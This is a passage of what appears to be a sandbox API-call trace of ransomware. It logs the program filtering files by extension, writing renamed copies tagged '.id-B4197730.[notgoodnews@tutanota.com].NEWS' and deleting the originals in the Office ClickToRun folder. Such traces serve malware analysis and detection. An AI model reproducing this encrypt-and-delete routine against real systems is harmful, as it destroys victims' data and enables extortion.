lstrlenW (lpString=".doc") returned 4 [0065.737] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0065.737] lstrlenW (lpString=".docx") returned 5 [0065.737] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0065.738] lstrlenW (lpString=".pdf") returned 4 [0065.738] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString=".xls") returned 4 [0065.738] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString=".xlsx") returned 5 [0065.738] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0065.738] lstrlenW (lpString=".ppt") returned 4 [0065.738] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.738] lstrlenW (lpString=".zip") returned 4 [0065.738] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString=".rar") returned 4 [0065.738] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString=".bz2") returned 4 [0065.738] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString=".7z") returned 3 [0065.738] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0065.738] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.738] lstrlenW (lpString=".dbf") returned 4 [0065.738] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0065.738] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.738] lstrlenW (lpString=".1cd") returned 4 [0065.738] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0065.738] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0065.738] lstrlenW (lpString=".jpg") returned 4 [0065.739] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0065.739] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.739] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22 [0065.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.740] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4136) returned 1 [0065.740] CloseHandle (hObject=0x374) returned 1 [0065.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20 [0065.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.741] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.741] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0065.742] GetLastError () returned 0x0 [0065.742] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1028, lpOverlapped=0x0) returned 1 [0065.743] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1030, lpOverlapped=0x0) returned 1 [0065.744] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.744] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x100, lpOverlapped=0x0) returned 1 [0065.744] SetEndOfFile (hFile=0x308) returned 1 [0065.744] CloseHandle (hObject=0x308) returned 1 [0065.746] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.746] SetEndOfFile (hFile=0x374) returned 1 [0065.747] CloseHandle (hObject=0x374) returned 1 [0065.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0065.748] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1 [0065.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.748] lstrlenW (lpString=".doc") returned 4 [0065.748] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString=".docx") returned 5 [0065.748] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.748] lstrlenW (lpString=".pdf") returned 4 [0065.748] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString=".xls") returned 4 [0065.748] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString=".xlsx") returned 5 [0065.748] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.748] lstrlenW (lpString=".ppt") returned 4 [0065.748] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.748] lstrlenW (lpString=".zip") returned 4 [0065.748] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.748] lstrlenW (lpString=".rar") returned 4 [0065.748] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString=".bz2") returned 4 [0065.748] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.748] lstrlenW (lpString=".7z") returned 3 [0065.748] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".dbf") returned 4 [0065.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".1cd") returned 4 [0065.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".jpg") returned 4 [0065.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".doc") returned 4 [0065.749] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString=".docx") returned 5 [0065.749] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0065.749] lstrlenW (lpString=".pdf") returned 4 [0065.749] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString=".xls") returned 4 [0065.749] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString=".xlsx") returned 5 [0065.749] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0065.749] lstrlenW (lpString=".ppt") returned 4 [0065.749] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".zip") returned 4 [0065.749] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.749] lstrlenW (lpString=".rar") returned 4 [0065.749] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString=".bz2") returned 4 [0065.749] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.749] lstrlenW (lpString=".7z") returned 3 [0065.749] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.749] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.749] lstrlenW (lpString=".dbf") returned 4 [0065.750] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.750] lstrlenW (lpString=".1cd") returned 4 [0065.750] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.750] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80 [0065.750] lstrlenW (lpString=".jpg") returned 4 [0065.750] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.750] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.750] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0065.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.751] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4782) returned 1 [0065.751] CloseHandle (hObject=0x374) returned 1 [0065.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 0x20 [0065.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.751] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.751] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0065.751] GetLastError () returned 0x0 [0065.751] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x12ae, lpOverlapped=0x0) returned 1 [0065.753] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x12b0, lpOverlapped=0x0) returned 1 [0065.754] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0065.754] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x104, lpOverlapped=0x0) returned 1 [0065.754] SetEndOfFile (hFile=0x308) returned 1 [0065.754] CloseHandle (hObject=0x308) returned 1 [0065.755] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.755] SetEndOfFile (hFile=0x374) returned 1 [0065.756] CloseHandle (hObject=0x374) returned 1 [0065.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0065.757] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0065.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.757] lstrlenW (lpString=".doc") returned 4 [0065.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.757] lstrlenW (lpString=".docx") returned 5 [0065.757] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0065.757] lstrlenW (lpString=".pdf") returned 4 [0065.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.757] lstrlenW (lpString=".xls") returned 4 [0065.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.757] lstrlenW (lpString=".xlsx") returned 5 [0065.757] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0065.757] lstrlenW (lpString=".ppt") returned 4 [0065.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.757] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.757] lstrlenW (lpString=".zip") returned 4 [0065.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.758] lstrlenW (lpString=".rar") returned 4 [0065.758] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString=".bz2") returned 4 [0065.758] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString=".7z") returned 3 [0065.758] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString=".dbf") returned 4 [0065.758] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString=".1cd") returned 4 [0065.758] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString=".jpg") returned 4 [0065.758] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString=".doc") returned 4 [0065.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString=".docx") returned 5 [0065.758] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0065.758] lstrlenW (lpString=".pdf") returned 4 [0065.758] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString=".xls") returned 4 [0065.758] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString=".xlsx") returned 5 [0065.758] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0065.758] lstrlenW (lpString=".ppt") returned 4 [0065.758] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0065.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.758] lstrlenW (lpString=".zip") returned 4 [0065.758] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0065.759] lstrlenW (lpString=".rar") returned 4 [0065.759] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0065.759] lstrlenW (lpString=".bz2") returned 4 [0065.759] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0065.759] lstrlenW (lpString=".7z") returned 3 [0065.759] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0065.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.759] lstrlenW (lpString=".dbf") returned 4 [0065.759] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0065.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.759] lstrlenW (lpString=".1cd") returned 4 [0065.759] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0065.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0065.759] lstrlenW (lpString=".jpg") returned 4 [0065.759] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0065.759] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0065.759] lstrlenW (lpString="ServiceWatcherSchedule.xml") returned 26 [0065.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.759] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=4450) returned 1 [0065.759] CloseHandle (hObject=0x374) returned 1 [0065.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 0x20 [0065.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0065.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.760] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0065.760] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0065.760] GetLastError () returned 0x0 [0065.760] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x1162, lpOverlapped=0x0) returned 1 [0067.162] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x1170, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x1170, lpOverlapped=0x0) returned 1 [0067.164] ReadFile (in: hFile=0x374, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0067.164] WriteFile (in: hFile=0x308, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x108, lpOverlapped=0x0) returned 1 [0067.164] SetEndOfFile (hFile=0x308) returned 1 [0067.164] CloseHandle (hObject=0x308) returned 1 [0067.169] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.169] SetEndOfFile (hFile=0x374) returned 1 [0067.170] CloseHandle (hObject=0x374) returned 1 [0067.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0067.170] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\servicewatcherschedule.xml")) returned 1 [0067.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.171] lstrlenW (lpString=".doc") returned 4 [0067.171] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString=".docx") returned 5 [0067.171] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.171] lstrlenW (lpString=".pdf") returned 4 [0067.171] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString=".xls") returned 4 [0067.171] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString=".xlsx") returned 5 [0067.171] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.171] lstrlenW (lpString=".ppt") returned 4 [0067.171] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.171] lstrlenW (lpString=".zip") returned 4 [0067.171] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0067.171] lstrlenW (lpString=".rar") returned 4 [0067.171] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString=".bz2") returned 4 [0067.171] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString=".7z") returned 3 [0067.171] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0067.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.171] lstrlenW (lpString=".dbf") returned 4 [0067.171] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.171] lstrlenW (lpString=".1cd") returned 4 [0067.171] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0067.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.171] lstrlenW (lpString=".jpg") returned 4 [0067.172] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ServiceWatcherSchedule.xml") returned 84 [0067.172] lstrlenW (lpString=".doc") returned 4 [0067.172] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString=".docx") returned 5 [0067.172] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0067.172] lstrlenW (lpString=".pdf") returned 4 [0067.172] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString=".xls") returned 4 [0067.172] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0067.172] lstrlenW (lpString=".xlsx") returned 5 [0067.172] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0067.172] lstrlenW (lpString=".ppt") returned 4 [0067.172] lstrcmpiW (lpString1=".ppt", 